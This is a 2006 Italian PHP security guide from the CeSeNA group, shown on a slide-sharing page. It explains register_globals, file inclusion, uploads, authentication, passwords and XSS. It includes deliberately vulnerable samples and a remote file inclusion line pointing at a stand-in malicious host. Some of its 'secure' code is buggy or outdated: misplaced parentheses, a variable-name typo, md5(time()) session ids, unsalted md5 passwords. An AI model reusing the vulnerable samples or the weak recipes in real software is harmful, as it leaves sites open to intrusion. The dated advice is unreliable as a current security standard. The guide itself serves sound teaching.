Firefox, ma solo con Internet Explorer, Netscape e talvolta anche con Opera (vedi
http://ha.ckers.org/xss.html per maggiori dettagli). In particolare, Internet Explorer (ultima versione
attuale) avvisa l’utente che è stato bloccato del contenuto “pericoloso”. Chissà perché questo avviso
ogni tanto funziona ogni tanto no… quindi:




                          Copyright 2006 © CeSeNA , Stefano Bianchini                                18
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



8. Password, generatori, password smarrite
       L’ultima risorsa per l’attaccante, se avete seguito tutti i consigli possibili per mettere in
sicurezza il vostro sito php, è la speranza che la password che usate sia debole, ossia facile da
trovare. Esempi vulnerabili possono essere: password estremamente corte (sotto i 6 caratteri), basate
su dizionario, uguali al nome utente, oppure come “la password” (avete presente la scritta “Inserire
qui la password”: beh la risposta è: “la password”, mi sembra logico…)
È importante quindi controllare sia la lunghezza della password, che il contenuto (obbligate gli
utenti ad utilizzare caratteri alfabetici, numerici e almeno un ‘-‘ oppure un ‘.’.
1.     <?
2.     //Controlla la lunghezza della password
3.     function account_pwvalid($pw) {
4.         global $feedback;
5.         if (strlen($pw) < 6) {
6.             $feedback .= " Password must be at least 6 characters. ";
7.             return false;
8.         }
9.         return true;
10.    }
11.    ?>

Se questo non risulta sufficiente, è possibile ricorrere a generatori di password casuali (qui un
esempio per caratteri alfanumerici, maiuscoli e minuscoli).
.
1.     <?
2.          function generatePassword($length = 8)
3.          {
4.              $chars = 'abcdefghiknrstyxzABDCEFGHKNQRSTYZ23456789';
5.              $numChars = strlen($chars);
6.
7.               $string = '';
8.               for ($i = 0; $i < $length; $i++) {
9.                   $string .= substr($chars, rand(1, $numChars) - 1, 1);
10.              }
11.              return $string;
12.         }
13.
14.         echo generatePassword(8);
15.    ?>


       Un’ultima considerazione riguarda il cosiddetto “smarrimento di password”. Si permette di
solito di ricevere via mail la password dimenticata o una nuova password. Questa possibilità deve
essere assolutamente negata agli amministratori: infatti la mail degli amministratori è visibile, e in
caso di password debole di quest’ultima un intruso potrebbe richiedere dal sito l’invio di una nuova
password, entrare nella casella di posta dell’admin e quindi ottenere ciò che serve per entrare
nell’amministrazione del sito.


                         Copyright 2006 © CeSeNA , Stefano Bianchini                               19
Ce.Se.N.A Security Group
http://cesena.ing2.unibo.it



       9. Conclusioni
       Approfitto di questo capitolo finale per dare alcuni link a siti che trattano l’argomento:

   •   http://phpsec.org/ : PHP Security Consortium
       Fondato nel gennaio 2005, questo consorzio si occupa di promuovere la programmazione
       sicura all’interno della comunità dei programmatori Php.
   •   http://phpsec.org/projects/guide/ :
       Una guida redatta dal Php Security Consortium, in inglese. Disponibile una versione
       scaricabile in formato pdf all’indirizzo http://shiflett.org/php-security.pdf.
   •   http://www.developer.com/lang/article.php/918141 : On the Security of PHP
       Un articolo suddiviso in due parti che tratta la sicurezza nella programmazione Php (in
       inglese).
   •   http://www.phpsecure.info/v2/.php : phpSecure.info
       Una comunità francese sull’argomento; è disponibile anche la lingua inglese.
   •   http://www.php.net/manual/it/security.php : Php Security - Manual
       Dai creatori del linguaggio, alcuni consigli sulla sicurezza (sempre in inglese, non ancora
       tradotta al momento della stesura di questo articolo).
   •   http://www.webkreator.com/php/configuration/php-session-security.html :
       Php Session Security
   •   http://www.securephpwiki.com/index.php/Main_Page : SecurePhp Wiki
       Un wiki sull’argomento.
   •   http://www.securereality.com.au/studyinscarlet.txt : A Study In Scarlet
       Exploiting Common Vulnerabilities in PHP Applications
   •   http://www.sklar.com/page/article/owasp-top-ten
       Php Top Ten Security Vulnerabilities



Per nuove revisioni di questo documento, invito a controllare periodicamente:

   •   http://cesena.ing2.unibo.it : CeSeNA Security, Network & Application



                                                                                  Stefano Bianchini

                                                            stefano.bianchini2@studio.unibo.it




                        Copyright 2006 © CeSeNA , Stefano Bianchini                                  20

More Related Content

Viewers also liked

Viewers also liked (8)

Clonare mac os x
Clonare mac os xClonare mac os x
Clonare mac os x
 
Ip sec vulnerability
Ip sec vulnerabilityIp sec vulnerability
Ip sec vulnerability
 
FDCC - SCAP - Overview
FDCC - SCAP - OverviewFDCC - SCAP - Overview
FDCC - SCAP - Overview
 
Inoltro di pacchetti ip in sistemi linux
Inoltro di pacchetti ip in sistemi linuxInoltro di pacchetti ip in sistemi linux
Inoltro di pacchetti ip in sistemi linux
 
Openexp 2006
Openexp 2006Openexp 2006
Openexp 2006
 
Deftcon 2013 - Alessandro Rossetti & Massimiliano Dal Cero - OSint a supporto...
Deftcon 2013 - Alessandro Rossetti & Massimiliano Dal Cero - OSint a supporto...Deftcon 2013 - Alessandro Rossetti & Massimiliano Dal Cero - OSint a supporto...
Deftcon 2013 - Alessandro Rossetti & Massimiliano Dal Cero - OSint a supporto...
 
Sql injection - intro
Sql injection - introSql injection - intro
Sql injection - intro
 
Smau 2006
Smau 2006Smau 2006
Smau 2006
 

Similar to sicurezza e php

Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensoredjekil
 
Meetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriMeetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriSimone Onofri
 
La sicurezza delle Web Application - SMAU Business Bari 2013
La sicurezza delle Web Application - SMAU Business Bari 2013La sicurezza delle Web Application - SMAU Business Bari 2013
La sicurezza delle Web Application - SMAU Business Bari 2013Massimo Chirivì
 
Smau Bari 2013 Massimo Chirivì
Smau Bari 2013 Massimo ChirivìSmau Bari 2013 Massimo Chirivì
Smau Bari 2013 Massimo ChirivìSMAU
 
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Simone Onofri
 
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Codemotion
 
Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPFrancesco Fullone
 
Working between the clouds (versione completa)
Working between the clouds (versione completa)Working between the clouds (versione completa)
Working between the clouds (versione completa)Davide Cerbo
 
Maven: Convention over Configuration
Maven: Convention over ConfigurationMaven: Convention over Configuration
Maven: Convention over Configurationvschiavoni
 
Working between the clouds
Working between the cloudsWorking between the clouds
Working between the cloudsDavide Cerbo
 
Malware Analysis. A Case Study
Malware Analysis. A Case StudyMalware Analysis. A Case Study
Malware Analysis. A Case StudyGianni Amato
 
Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Claudio Criscione
 
Webdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 OkWebdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 OkMassimo Schiro
 
CMS - Analisi Vulnerabilità
CMS - Analisi VulnerabilitàCMS - Analisi Vulnerabilità
CMS - Analisi Vulnerabilitàraffaele_forte
 
Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmaticoCome mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmaticoAntonio Parata
 
Hosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDayHosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDayAruba S.p.A.
 
Installazione di Joomla nel cloud di Red Hat
Installazione di Joomla nel cloud di Red HatInstallazione di Joomla nel cloud di Red Hat
Installazione di Joomla nel cloud di Red HatBabel
 

Similar to sicurezza e php (20)

Silex, iniziamo
Silex, iniziamoSilex, iniziamo
Silex, iniziamo
 
Web Application Insecurity Uncensored
Web Application Insecurity UncensoredWeb Application Insecurity Uncensored
Web Application Insecurity Uncensored
 
Meetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofriMeetmagento 2014 hackers_onofri
Meetmagento 2014 hackers_onofri
 
La sicurezza delle Web Application - SMAU Business Bari 2013
La sicurezza delle Web Application - SMAU Business Bari 2013La sicurezza delle Web Application - SMAU Business Bari 2013
La sicurezza delle Web Application - SMAU Business Bari 2013
 
Smau Bari 2013 Massimo Chirivì
Smau Bari 2013 Massimo ChirivìSmau Bari 2013 Massimo Chirivì
Smau Bari 2013 Massimo Chirivì
 
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs Developers - Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
 
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
Hackers vs. Developers: Nuove e vecchie vulnerabilità con la OWASP TOP 10 2013
 
Enrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHPEnrico Zimuel: La sicurezza delle applicazioni in PHP
Enrico Zimuel: La sicurezza delle applicazioni in PHP
 
Working between the clouds (versione completa)
Working between the clouds (versione completa)Working between the clouds (versione completa)
Working between the clouds (versione completa)
 
Maven: Convention over Configuration
Maven: Convention over ConfigurationMaven: Convention over Configuration
Maven: Convention over Configuration
 
Working between the clouds
Working between the cloudsWorking between the clouds
Working between the clouds
 
Malware Analysis. A Case Study
Malware Analysis. A Case StudyMalware Analysis. A Case Study
Malware Analysis. A Case Study
 
Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]Virtually Pwned: Hacking VMware [ITA - SMAU10]
Virtually Pwned: Hacking VMware [ITA - SMAU10]
 
Webdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 OkWebdays 2004 Blogfordummies2 Ok
Webdays 2004 Blogfordummies2 Ok
 
CMS - Analisi Vulnerabilità
CMS - Analisi VulnerabilitàCMS - Analisi Vulnerabilità
CMS - Analisi Vulnerabilità
 
Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmaticoCome mettere in sicurezza le applicazioni legacy, un approccio pragmatico
Come mettere in sicurezza le applicazioni legacy, un approccio pragmatico
 
Owasp parte3
Owasp parte3Owasp parte3
Owasp parte3
 
Hosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDayHosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDay
Hosting: 10 consigli per mettere al sicuro un sito - parte 1 #TipOfTheDay
 
Idp, passo dopo passo!
Idp, passo dopo passo!Idp, passo dopo passo!
Idp, passo dopo passo!
 
Installazione di Joomla nel cloud di Red Hat
Installazione di Joomla nel cloud di Red HatInstallazione di Joomla nel cloud di Red Hat
Installazione di Joomla nel cloud di Red Hat
 

More from Ce.Se.N.A. Security

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
 Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route... Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...Ce.Se.N.A. Security
 
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...Ce.Se.N.A. Security
 
Exploit techniques - a quick review
Exploit techniques - a quick reviewExploit techniques - a quick review
Exploit techniques - a quick reviewCe.Se.N.A. Security
 
Msfpayload/Msfencoder cheatsheet
Msfpayload/Msfencoder cheatsheetMsfpayload/Msfencoder cheatsheet
Msfpayload/Msfencoder cheatsheetCe.Se.N.A. Security
 
Analisi sulla sicurezza di una autovettura moderna
Analisi sulla sicurezza di una autovettura modernaAnalisi sulla sicurezza di una autovettura moderna
Analisi sulla sicurezza di una autovettura modernaCe.Se.N.A. Security
 
Monitoraggio di mac address in lan
Monitoraggio di mac address in lanMonitoraggio di mac address in lan
Monitoraggio di mac address in lanCe.Se.N.A. Security
 
Crimini informatici e accesso abusivo
Crimini informatici e accesso abusivoCrimini informatici e accesso abusivo
Crimini informatici e accesso abusivoCe.Se.N.A. Security
 

More from Ce.Se.N.A. Security (20)

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
 Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route... Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per route...
 
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router...
 
Mona cheatsheet
Mona cheatsheetMona cheatsheet
Mona cheatsheet
 
Exploit techniques - a quick review
Exploit techniques - a quick reviewExploit techniques - a quick review
Exploit techniques - a quick review
 
Msfpayload/Msfencoder cheatsheet
Msfpayload/Msfencoder cheatsheetMsfpayload/Msfencoder cheatsheet
Msfpayload/Msfencoder cheatsheet
 
ICTF overview
ICTF overviewICTF overview
ICTF overview
 
Anonymous email
Anonymous emailAnonymous email
Anonymous email
 
Hacking reti wireless
Hacking reti wirelessHacking reti wireless
Hacking reti wireless
 
SELinux - overview
SELinux - overviewSELinux - overview
SELinux - overview
 
Analisi sulla sicurezza di una autovettura moderna
Analisi sulla sicurezza di una autovettura modernaAnalisi sulla sicurezza di una autovettura moderna
Analisi sulla sicurezza di una autovettura moderna
 
Sicurezza delle reti 802.11
Sicurezza delle reti 802.11Sicurezza delle reti 802.11
Sicurezza delle reti 802.11
 
Rilevamento intrusioni in wlan
Rilevamento intrusioni in wlanRilevamento intrusioni in wlan
Rilevamento intrusioni in wlan
 
Rainbow tables
Rainbow tablesRainbow tables
Rainbow tables
 
Network monitoring tramite snmp
Network monitoring tramite snmpNetwork monitoring tramite snmp
Network monitoring tramite snmp
 
Monitoraggio di rete con nagios
Monitoraggio di rete con nagiosMonitoraggio di rete con nagios
Monitoraggio di rete con nagios
 
Monitoraggio di mac address in lan
Monitoraggio di mac address in lanMonitoraggio di mac address in lan
Monitoraggio di mac address in lan
 
Insider attack
Insider attackInsider attack
Insider attack
 
Iena
IenaIena
Iena
 
Crimini informatici e accesso abusivo
Crimini informatici e accesso abusivoCrimini informatici e accesso abusivo
Crimini informatici e accesso abusivo
 
IENA
IENAIENA
IENA
 

sicurezza e php

  • 1. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it SICUREZZA E PHP Linee guida per una programmazione Php più sicura Stefano Bianchini Superadmin @ http://cesena.ing2.unibo.it 4 Settembre 2006 Prima release Copyright 2006 © CeSeNA , Stefano Bianchini 1
  • 2. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it Introduzione “Il livello di sicurezza cala esponenzialmente con l’aumentare del numero dei servizi offerti” [Legge di Ce.Se.N.A. sulla sicurezza]. A tutti noi piacerebbe d’estate dormire con le finestre spa- lancate, ma purtroppo i malintenzionati esistono e dobbiamo affrontare il problema. Il concetto di sicurezza in Php può essere visto proprio sotto quest’ottica: se vogliamo tenere le finestre aperte di notte, dobbiamo almeno munirci di una inferriata. Dunque, il primo passo viene effettuato con la consapevolezza di quello che potrebbe succedere. Prerequisiti a questa guida Conoscenze base di Php: funzioni, variabili, tipi di variabili, connessioni a database, utilizzo dei cookies e delle sessioni. Contenuti 1. Register Globals 3 2. Inclusione di files 5 3. Upload di files 6 4. Autenticazioni: metodi a confronto 8 5. Sql injection 10 6. Esecuzioni di comandi remoti 14 7. XSS, Cross Site Scripting 15 8. Password, generatori, password smarrite 19 9. Appendice 20 Obiettivi Rendere i lettori consapevoli dei rischi reali dovuti alla non buona fede degli utenti. Scopo di questo articolo non è dare soluzioni definitive, ma far sapere che possono esistere attacchi e in quale forma possono presentarsi. Copyright 2006 © CeSeNA , Stefano Bianchini 2
  • 3. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 1. Register Globals La direttiva “register globals” è uno strascico di retrocompatibilità verso una modalità di programmazione in Php di qualche anno fa. Vediamo di cosa si tratta. Attualmente, per accedere a variabili “particolari” (GET, POST, COOKIES, SESSION) bisogna richiamarle tramite array appositi, ad esempio $_POST[“nomevariabile”]. Nelle vecchie versioni, oppure settando ad “ON” la direttiva Register Globals, è possibile richiamare queste variabili come se fossero variabili qualunque, quindi anteponendo il simbolo “$” al nome, ad esempio, di un input di un form HTML. 1. <? 2. //come si legge una variabile "particolare" adesso 3. echo $_POST["nomevariabile"]; 4. //come la si leggeva prima (o con le RG settate ad ON) 5. echo $nomevariabile; 6. ?> 7. <!-- Il form Html --> 8. <FORM METHOD="post" action="<?=$PHPSELF?>"> 9. <input type="text" name="nomevariabile" /> 10. </FORM> Questa direttiva, associata a piccolo errori di programmazione, può dar luogo a numerosi problemi di sicurezza. Consideriamo la seguente procedura di controllo di accesso: 1. <? 2. if ($password==$passwordgiusta) { 3. setcookie("autenticato","true"); 4. } 5. //... ... 6. 7. 8. //Pensavo di leggere il contenuto del cookie 9. //Ma se un intruso chiama pagina.php?autenticato=true ... 10. //Purtroppo il sistema legge $autenticato come true!!! 11. if ($autenticato) { 12. //posso fare qualsiasi cosa 13. } 14. else { 15. //non posso fare niente 16. } 17. ?> Per risolvere il problema è consigliabile disabilitare la direttiva, inizializzare ogni variabile utilizzata e utilizzare gli array globali ($_GET, $_POST, $_SESSION, $_COOKIE) anche in caso di register_globals ON. Tanti vecchi script Php non funzionano per questo motivo! Vediamo l’esempio corretto del codice precedente: Copyright 2006 © CeSeNA , Stefano Bianchini 3
  • 4. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 1. <? 2. if ($password==$passwordgiusta) { 3. setcookie("autenticato","true"); 4. } 5. //... ... 6. 7. //Ora è giusto il controllo 8. if ($_COOKIE["autenticato"]) { 9. //posso fare qualsiasi cosa 10. } 11. ?> Copyright 2006 © CeSeNA , Stefano Bianchini 4
  • 5. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 2. Inclusione di files Una delle comodità del Php è quella di poter includere file esterni contenenti funzioni e procedure che ricorrono spesso; vantaggi di questa pratica sono un considerevole risparmio di tempo per il programmatore e un aumento di velocità nell’esecuzione del codice. Questa caratteristica rende più semplice il compito del programmatore nel caso di siti multilingua, ossia il cui contenuto (menù, link) debba essere mostrato in più lingue a seconda della scelta dell’utente. Il seguente codice illustra come sfruttare erroneamente l’inclusione di file php per gestire più linguaggi: 1. <? 2. //ipotizziamo ad esempio, pagina.php?lang=it 3. //oppure pagina.php?lang=en 4. 5. include($_GET["lang"]."php"); 6. 7. //lang = en -> include("en.php"); 8. //lang = it -> include("it.php"); 9. 10. ?> Consideriamo ora la seguente strategia di attacco: 1. 2. GET pagina.php?lang=http://sitocattivo.com/script 3. 4. -> include(http://sitocattivo.com/script.php); Il file script.php potrebbe contenere qualsiasi codice php, che verrebbe eseguito sul webserver! È sempre consigliabile quindi utilizzare una struttura di tipo switch – case: 1. <? 2. switch ($_GET["lang"]) { 3. case "it": include("it.php");break; 4. case "en": include("en.php");break; 5. default: include("it.php");break; 6. } 7. ?> É possibile anche utilizzare la direttiva allow_url_fopen con il valore “OFF” per disabilitare la possibilità di includere script remoti (cioè non appartenenti al webserver su cui state programmando). Le considerazioni fatte valgono sia per include() che per require(). Copyright 2006 © CeSeNA , Stefano Bianchini 5
  • 6. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 3. Upload di files Spesso si ha la necessità, all’interno di un sito, di dare la possibilità agli utenti di caricare file sul server: si pensi, ad esempio, a forum, blog, image gallery (i famosi avatar, le immagini personali degli utenti). Metaforicamente è come una gioielleria costretta, pur essendo chiusa dal lavoro, a mostrare preziosi in vetrina, senza le saracinesche abbassate; se così non fosse i clienti che passeggiano la sera in centro non potrebbero vedere e notare i gioielli in vendita! Così come il gioielliere prende tutte le precauzioni possibili (sensori antifurto, vigilanza, vetri antisfondamento), il programmatore può avvalersi di controlli per la sicurezza relativa del server. Elenchiamoli: a) Controlli sulla dimensione Non vogliamo che gli utenti intasino il server (nel caso delle immagini) con foto di parecchi mega! Possiamo utilizzare la funzione filesize() del php, evitando questo problema. Esiste anche un campo form html apposito per le dimensioni massime del file, ma è facilmente aggirabile. È anche possibile utilizzare direttamente l’array $_FILES, come segue: $_FILES['miofile']['size']. Vediamo qualche esempio: 1. <? 2. //Se il file è più grande di 1 MB 3. if (filesize($_FILES['miofile']['tmp_name']>1048576) { 4. die("Il file inviato è troppo grande"); 5. } 6. ?> b) Controlli sull’estensione Considerate che qualsiasi file .php viene eseguito dall’interprete, seguendo le regole salvate nella configurazione del webserver; se quest’ultimo esegue anche altri formati (ad esempio ASP) è importante rifiutare tutte le estensioni “pericolose”. Un esempio di una possibile censura basata sull’estensione: 1. <? 2. //Mostra l'estensione basandosi sul nome del file 3. //ad esempio $nomefile='prova.php' 4. function trova_estensione($nomefile) { 5. //$temp='php.avorp' 6. $temp=strrev($nomefile); 7. //prima occorrenza del punto nella stringa rovesciata 8. $posizione=strpos($temp,"."); Copyright 2006 © CeSeNA , Stefano Bianchini 6
  • 7. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 9. if (!$posizione) echo "SCONOSCIUTA"; 10. //calcolo della reale posizione del punto nella frase 11. //non rovesciata 12. $posizione_reale=strlen($nomefile)-$posizione; 13. echo substr($nomefile,$posizione_reale); 14. } 15. ?> c) Controlli sul mime/type Tramite l’array globale $_FILES è possibile controllare il mimetype del file appena caricato, prima che questo sia effettivamente salvato sul server. Può venire in aiuto la funzione mime_content_type(), che restituisce il tipo mime del file. 1. <? 2. //Se il file non è una immagine GIF 3. if (mime_content_type($_FILES["miofile"]["tmp_name"])!="image/gif") { 4. die("Il file inviato non è una immagine GIF!"); 5. } 6. ?> d) Controlli sul contenuto È possibile aprire il file per cercarvi all’interno strutture conosciute (sequenze di bytes comuni per i PNG, GIF ecc.). 1. <? 2. // borrowed from InfectedAttachmentCheck 3. // phPOP3clean by James Heinrich <info@silisoftware.com> 4. // available at http://phpop3clean.sourceforge.net 5. function check_real_type($BinayData) { 6. $filetype_lookup = array( 7. 'gif' => '^GIF', 8. 'jpeg' => '^xFFxD8xFF', 9. 'png' => '^x89x50x4Ex47x0Dx0Ax1Ax0A', 10. 'tiff' => '^(IIx2Ax00|MMx00x2A)', 11. 'bmp' => '^BM', 12. 'swf' => '^(F|C)WS', 13. 'gz' => '^x1Fx8Bx08', 14. 'zip' => '^PKx03x04', 15. 'rar' => '^Rar!', 16. 'exe' => '^MZ', 17. ); 18. foreach ($filetype_lookup as $ext => $pattern) { 19. if (preg_match('/'.$pattern.'/s', $BinaryData)) { 20. $piece_fileext = $ext; 21. return $ext; 22. } 23. } 24. } 25. ?> Copyright 2006 © CeSeNA , Stefano Bianchini 7
  • 8. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 4. Autenticazioni: metodi a confronto Consideriamo l’ipotesi di una autenticazione utente / password salvati in un database. Una volta che l’utente abbia correttamente inserito i campi richiesti, il server deve riconoscerlo in ogni successiva azione, senza aver bisogno che vengano reinseriti per ogni pagina le credenziali. Per fare ciò possiamo ricorrere principalmente a tre metodi. Il primo di questi è l’utilizzo di un cookie il quale viene interpretato come un “flag” di una autenticazione già effettuata. Analizziamo il codice citato in precedenza: 1. <? 2. if ( /* utente e password giusti */) { 3. setcookie("autenticato","true"); 4. } 5. //... 6. if ($_COOKIE["autenticato"]=="true") { 7. //fai tutto ciò che vuoi 8. } 9.. ?> Questo metodo, che utilizza esclusivamente un cookie, è da evitare poiché molto insicuro. Se l’intruso comprende che basta un cookie di nome “autenticato” con valore “true” per accedere, è molto semplice che replichi quest’ultimo (un cookie è facilmente riproducibile). L’autenticazione deve, quindi, lasciare “tracce” sia lato client (in modo che il php possa richiederlo al browser come credenziale) sia lato server (traccia inalterabile e non riproducibile). In questo caso viene in aiuto il concetto di sessione; vediamo uno schema di funzionamento: Lato client Salvo in un cookie il session_id Utente e password giusti? Sul server viene salvato un file con nome session_id Lato server contenente le variabili di sessione Una sessione php “pura” non è immune all’attacco Man In The Middle. La session_id è memorizzata nel cookie (oppure inviata via GET) e come tale intercettabile da un intruso in ascolto (session hijacking). Non è sufficiente quindi memorizzare la session_id ma è necessario Copyright 2006 © CeSeNA , Stefano Bianchini 8
  • 9. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it memorizzare lato server anche informazioni che identificano (quasi) univocamente il client, come l’indirizzo IP e il browser utilizzato, ad esempio. Il terzo metodo utilizza proprio queste ulteriori misure di sicurezza, appoggiandosi ad un database Mysql. Vediamo le tabelle del database: 1. <? 2. /* 3. CREATE TABLE `sessioni` ( 4. `sesid` varchar(255) NOT NULL default '', 5. `time` int(11) NOT NULL default '0', 6. `ip` varchar(20) NOT NULL default '', 7. `admin` enum('1','0') NOT NULL default '1', 8. `utente` varchar(255) NOT NULL default '', 9. `user_id` int(11) NOT NULL default '0', 10. PRIMARY KEY (`sesid`) 11. ); 12. */ 13. /* 14. CREATE TABLE `utenti` ( 15. `id` int(11) NOT NULL auto_increment, 16. `name` varchar(50) NOT NULL default '', 17. `username` varchar(25) NOT NULL default '', 18. `email` varchar(100) NOT NULL default '', 19. `password` varchar(100) NOT NULL default '', 20. `usertype` varchar(25) NOT NULL default '', 21. PRIMARY KEY (`id`) 22. ); 23. */ 24. E il codice relativo alle funzioni utilizzate: 25. function user_check($username,$userpas){ 26. //la prudenza non mai troppa, vedi SQL injection 27. $username=mysql_escape_string($username); 28. $userpas=mysql_escape_string($userpas); 29. 30. //Tralasciamo il codice per collegarsi al DB 31. // e passiamo direttamente alla query 32. $result=mysql_query("SELECT id,username,password FROM utenti WHERE 33. username = '".$username."' AND password='".md5($userpas)."'"); 34. 35. if (mysql_num_rows($result)==0) { 36. die("Nome utente o password errati."); 37. } 38. $row_obj=mysql_fetch_object($result); 39. $user_id=$row_obj->id; 40. mysql_free_result($result); 41. 42. //Genera session id e la sua scadenza 43. $sesid = md5(time()); 44. //il cookie scade dopo 20 minuti 45. setcookie("sessioncookie", $sesid, time()+1200); 46. //Sul database salvo una session_id cifrata 47. //(risultato di un hash tra la session_id originale e l'indirizzo IP 48. //dell'utente, nonché del suo browser 49. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE 50. NT']); Copyright 2006 © CeSeNA , Stefano Bianchini 9
  • 10. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 51. //la sessione sul DB scade dopo 20 minuti 52. $time = time() + 1200; 53. 54. mysql_query("INSERT INTO sessioni(sesid,time,ip,admin,utente,user_id) 55. VALUES('$criptsessionid','$time','".$_SERVER['REMOTE_ADDR']."', 56. '0','$username','$user_id')"); 57. //Torno alla pagina principale, naturamente ora l'utente è loggato 58. header("Location:index.php"); 59. } 60. 61. function logout() { 62. $sesid=$_COOKIE["sessioncookie"]; 63. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE 64. NT']); 65. setcookie("sessioncookie", "0", time()); 66. exec_query("DELETE FROM sessioni WHERE sesid='$criptsessionid'",0); 67. } 68. 69. //Controlla la sessione in ogni pagina 70. function session_check($sesid) { 71. $sesid=$_COOKIE["sessioncookie"]; 72. if ($sesid=="") {header("Location: login.php");} else { 73. mysql_query("DELETE FROM sessioni WHERE (time+60) < ".time()); 74. $criptsessionid=md5($sesid.$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGE 75. NT']); 76. $check_time = mysql_query("SELECT sesid,time FROM sessioni WHERE sesid = 77. '$criptsessionid'"); 78. $time_row = @mysql_fetch_array($check_time); 79. $bitis = $time_row["time"]; 80. if ($bitis < time()){ 81. die("<center>Spiacenti, la tua sessione &egrave; scaduta. Per 82. favore fai di nuovo il <a href="login.php" 83. target="_parent">login</a>...</center>"); 84. } 85. }//else 86. } 87. ?> Come si nota, la funzione user_check viene richiamata una sola volta (durante il login) per il controllo utente – password e in caso positivo ha inizio la “sessione”. La funzione session_check controlla le credenziali dell’utente basandosi sulla session_id del cookies, sull’ip e sul browser e viene richiamata in ogni pagina ad accesso controllato. La funzione logout termina la sessione. In questo modo il cookie ha solo una parte dell’informazione per accedere alla sessione: gli altri due ingredienti sono l’indirizzo IP del cliente e lo User Agent (e se un intruso riesce a replicare anche quelli, facendo un Man In The Middle e un IpSpoofing beh…allora se lo merita!) Un’ultima considerazione sulla “vita” (usualmente chiamata LT, LiveTime) data al meccanismo di sessione (qualsiasi metodo). È bene infatti dare una scadenza relativamente breve, ma lunga abbastanza da permettere di lavorare tranquillamente (se dopo 5 secondi scade, non si riesce neanche a leggere una pagina; se scade dopo 24 ore, è un po’ rischioso…). Copyright 2006 © CeSeNA , Stefano Bianchini 10
